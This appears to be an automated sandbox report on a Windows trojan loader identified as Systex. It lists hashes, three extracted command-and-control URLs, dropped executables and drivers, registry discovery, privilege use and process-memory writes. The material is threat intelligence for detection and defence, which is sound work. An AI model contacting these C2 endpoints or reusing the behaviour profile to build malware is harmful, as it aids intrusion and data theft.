systex | f13f7709d46a44e685ca7f3dad7344adb3a1975b13572ba15012a8fe952b4112

Analysis

max time kernel
149s
max time network
144s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 03:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
Size 230KB
Sample260804-dq343scb37
SHA256 f13f7709d46a44e685ca7f3dad7344adb3a1975b13572ba15012a8fe952b4112
MD5 22d82af560f10f029b66f8fdf3ecc15e
SHA1 128dd99517c8d92d0510e102c94db4165781ec01
SHA512 035fc6d71beb3d980de38242e294dc9e217ddd138e0a54824699908811f67279dd2f3e5a90b3297cde742be604f1e7a4f50691b0cef272ae59d706d94ccdbd58
SSDEEP 3072:cJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:cghLQ0sQmpcF8BzXfwVfAI
TLSH
T18A344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
5848	CP.exe
1600	lgbvtojgbt.exe
4272	CP.exe
5996	CP.exe
2024	i_lgbvtojgbt.exe
5864	bytqljdbvt.sys
3660	CP.exe
2920	qoigayvtnl.exe
2588	CP.exe
5352	CP.exe
3432	i_qoigayvtnl.exe
1092	fdyvtqljdb.sys
3004	CP.exe
4172	qnigayvqni.exe
2208	CP.exe
4688	CP.exe
1448	i_qnigayvqni.exe
6096	nifdxvqnlf.sys
5864	CP.exe
2540	kidavqnifa.exe
3012	CP.exe
5756	CP.exe
1740	i_kidavqnifa.exe
4176	kfdxvpnhfa.sys
3592	CP.exe
3624	ausmkfcaxv.exe
5892	CP.exe
3352	CP.exe
4732	i_ausmkfcaxv.exe
1356	xupmkhczxu.sys
2012	CP.exe
2728	aurpnkeczu.exe
4672	CP.exe
3496	CP.exe
4668	i_aurpnkeczu.exe
4456	hfzxrpjhcz.sys
4604	CP.exe
3856	czurmhecwu.exe
3600	CP.exe
984	CP.exe
3936	i_czurmhecwu.exe
4232	rmkeczurmk.sys
5260	CP.exe
2696	omgezwromh.exe
1340	CP.exe
6020	CP.exe
2928	i_omgezwromh.exe
4260	trojgbzwro.sys
5384	CP.exe
2780	ojgbztrojg.exe
3092	CP.exe
3360	CP.exe
5152	i_ojgbztrojg.exe
3616	omywtolgey.sys
6104	CP.exe
3516	bytrljdbvt.exe
4816	CP.exe
4596	CP.exe
1136	i_bytrljdbvt.exe
4532	gdbvtqoigd.sys
5932	CP.exe
1936	gdbnlidayv.exe
1776	CP.exe
2256	CP.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\eu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\vi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\am\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\cs\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\fil\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\ms\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\uz\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1298766679\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_4384_425593401\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_108_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\sk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\sv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\hi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\offscreendocument.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1298766679\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\lo\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\en_US\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\th\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_158676517\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\mn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\fi\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\kk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_296360487\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1298766679\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\or\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\pl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\sw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\be\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\si\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\af\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\km\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\el\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\gu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\ja\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\bg\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\ru\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\te\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\lt\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\en_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\ca\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\cy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\page_embed_script.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\bn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\is\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\128.png	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_91948942\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1298766679\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4384_1083845675\_locales\sr\messages.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oigaytqljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aurpnkeczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ojgbztrojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bytrljdbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_bytrljdbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qlidavtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfzxrpjhcz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtnlfdyvqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lgbvtojgbt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ausmkfcaxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_czurmhecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wqolgeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_oigaytqljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qnigayvqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	czurmhecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qlidavtnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qoigayvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icavsnkfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zwrpjhbztr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zwrpjhbztr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_icavsnkfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kidavqnifa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ausmkfcaxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gdbnlidayv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtnlfdyvqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgezwromh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgezwromh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gdbnlidayv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ausmkfcxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lgbvtojgbt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aurpnkeczu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ausmkfcxvp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wqolgeywqo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qoigayvtnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qnigayvqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kidavqnifa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ojgbztrojg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfzxrpjhcz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfzxrpjhcz.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
260	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1924	ipconfig.exe
3504	ipconfig.exe
4632	ipconfig.exe
1936	ipconfig.exe
5404	ipconfig.exe
5648	ipconfig.exe
4880	ipconfig.exe
1408	ipconfig.exe
2020	ipconfig.exe
4120	ipconfig.exe
1280	ipconfig.exe
4280	ipconfig.exe
3716	ipconfig.exe
5732	ipconfig.exe
1388	ipconfig.exe
4052	ipconfig.exe
4436	ipconfig.exe
4520	ipconfig.exe
3096	ipconfig.exe
2384	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 6 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1875162379-3804078649-638427191-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134302868342179584"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1875162379-3804078649-638427191-1000\{53E62799-17FC-4980-BBBA-FA025DC3DD76}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe
1600	lgbvtojgbt.exe
1600	lgbvtojgbt.exe
1600	lgbvtojgbt.exe
1600	lgbvtojgbt.exe
1600	lgbvtojgbt.exe
1600	lgbvtojgbt.exe
1600	lgbvtojgbt.exe
1600	lgbvtojgbt.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
4384	msedge.exe
4384	msedge.exe
4384	msedge.exe
4384	msedge.exe
4384	msedge.exe
4384	msedge.exe
4384	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	2024	i_lgbvtojgbt.exe
Token: SeDebugPrivilege	3432	i_qoigayvtnl.exe
Token: SeDebugPrivilege	1448	i_qnigayvqni.exe
Token: SeDebugPrivilege	1740	i_kidavqnifa.exe
Token: SeDebugPrivilege	4732	i_ausmkfcaxv.exe
Token: SeDebugPrivilege	4668	i_aurpnkeczu.exe
Token: SeDebugPrivilege	3936	i_czurmhecwu.exe
Token: SeDebugPrivilege	2928	i_omgezwromh.exe
Token: SeDebugPrivilege	5152	i_ojgbztrojg.exe
Token: SeDebugPrivilege	1136	i_bytrljdbvt.exe
Token: SeDebugPrivilege	2260	i_gdbnlidayv.exe
Token: SeDebugPrivilege	3924	i_qlidavtnlf.exe
Token: SeDebugPrivilege	2560	i_icavsnkfdx.exe
Token: SeDebugPrivilege	4440	i_ausmkfcxvp.exe
Token: SeDebugPrivilege	3460	i_hfzxrpjhcz.exe
Token: SeDebugPrivilege	2304	i_hfzxrpjhcz.exe
Token: SeDebugPrivilege	2160	i_zwrpjhbztr.exe
Token: SeDebugPrivilege	4916	i_wqolgeywqo.exe
Token: SeDebugPrivilege	6124	i_oigaytqljd.exe
Token: SeDebugPrivilege	3424	i_vtnlfdyvqo.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4384	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4336 wrote to memory of 2284	4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe	88
PID 4336 wrote to memory of 3544	4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe	89
PID 3544 wrote to memory of 4384	3544	iexplore.exe	91
PID 2284 wrote to memory of 1356	2284	iexplore.exe	92
PID 4384 wrote to memory of 1276	4384	msedge.exe	93
PID 4384 wrote to memory of 260	4384	msedge.exe	94
PID 4384 wrote to memory of 800	4384	msedge.exe	95
PID 4384 wrote to memory of 800	4384	msedge.exe	95
PID 4384 wrote to memory of 800	4384	msedge.exe	95
PID 4384 wrote to memory of 5408	4384	msedge.exe	96
PID 4384 wrote to memory of 5408	4384	msedge.exe	96
PID 4384 wrote to memory of 2308	4384	msedge.exe	98
PID 4384 wrote to memory of 2308	4384	msedge.exe	98
PID 4384 wrote to memory of 2308	4384	msedge.exe	98
PID 4384 wrote to memory of 4956	4384	msedge.exe	99
PID 4384 wrote to memory of 4956	4384	msedge.exe	99
PID 4384 wrote to memory of 4956	4384	msedge.exe	99
PID 4384 wrote to memory of 4772	4384	msedge.exe	100
PID 4384 wrote to memory of 4772	4384	msedge.exe	100
PID 4384 wrote to memory of 4772	4384	msedge.exe	100
PID 4384 wrote to memory of 4396	4384	msedge.exe	102
PID 4384 wrote to memory of 5956	4384	msedge.exe	101
PID 4384 wrote to memory of 4396	4384	msedge.exe	102
PID 4384 wrote to memory of 4396	4384	msedge.exe	102
PID 4384 wrote to memory of 5956	4384	msedge.exe	101
PID 4384 wrote to memory of 5956	4384	msedge.exe	101
PID 4384 wrote to memory of 612	4384	msedge.exe	103
PID 4384 wrote to memory of 612	4384	msedge.exe	103
PID 4384 wrote to memory of 612	4384	msedge.exe	103
PID 4384 wrote to memory of 1696	4384	msedge.exe	105
PID 4384 wrote to memory of 1696	4384	msedge.exe	105
PID 4336 wrote to memory of 5848	4336	2026-08-03_22d82af560f10f029b66f8fdf3ecc15e_elex_redline-stealer_rhadamanthys_stop.exe	106
PID 1600 wrote to memory of 4272	1600	lgbvtojgbt.exe	109
PID 4384 wrote to memory of 5912	4384	msedge.exe	112
